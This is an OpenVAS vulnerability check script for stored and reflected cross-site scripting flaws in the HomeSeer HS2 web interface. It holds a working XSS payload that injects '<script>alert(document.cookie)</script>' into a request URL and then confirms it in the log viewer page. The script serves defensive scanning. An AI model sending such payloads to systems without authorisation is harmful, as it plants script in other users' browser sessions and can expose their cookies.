HomeSeer HS2 Web Interface Multiple Vulnerabilities

###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_homeseer_hs2_web_interface_mult_vuln.nasl 7015 2017-08-28 11:51:24Z teissa $
#
# HomeSeer HS2 Web Interface Multiple Vulnerabilities
#
# Authors:
# Rachana Shetty <[email protected]>
#
# Copyright:
# Copyright (c) 2011 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attacker to execute arbitrary
HTML and script code in a user's browser session in the context of a vulnerable
site and gain sensitive information via directory traversal attacks.

Impact Level: Application";

tag_affected = "HomeSeer HS2 version 2.5.0.20";

tag_insight = "The flaws are due to improper validation of user-supplied input
passed via the URL, which allows attacker to conduct stored and reflective
xss by sending a crafted request with JavaScript to web interface and
causing the JavaScript to be stored in the log viewer page.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running HomeSeer HS2 and is prone to multiple
vulnerabilities.";

if(description)
{
  script_id(902648);
  script_version("$Revision: 7015 $");
  script_cve_id("CVE-2011-4835", "CVE-2011-4836", "CVE-2011-4837");
  script_bugtraq_id(50978);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-08-28 13:51:24 +0200 (Mon, 28 Aug 2017) $");
  script_tag(name:"creation_date", value:"2011-12-20 15:01:39 +0530 (Tue, 20 Dec 2011)");
  script_name("HomeSeer HS2 Web Interface Multiple Vulnerabilities");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/47191/");
  script_xref(name : "URL" , value : "http://www.kb.cert.org/vuls/id/796883");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/71713");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 SecPod");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("HomeSeer/banner");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

##
## The script code starts here
##

include("http_func.inc");
include("http_keepalive.inc");

## Get HTTP Port
port = get_http_port(default:80);
if(!port){
  exit(0);
}

## Check port status
if(!get_port_state(port)){
  exit(0);
}

## Get the banner
banner = get_http_banner(port: port);

## Confirm the application before trying exploit
if("Server: HomeSeer" >!< banner) {
  exit(0);
}

## Construct the attack request
sndReq = http_get(item:string("/stat<script>alert(document.cookie)" +
                     "</script>"), port:port);
rcvRes = http_send_recv(port:port, data:sndReq);

## Confirm the exploit
if(http_vuln_check(port:port, url:"/elog", pattern:"<script>alert\(" +
                                "document.cookie\)</script>", check_header:TRUE))
{
  security_message(port);
  exit(0);
}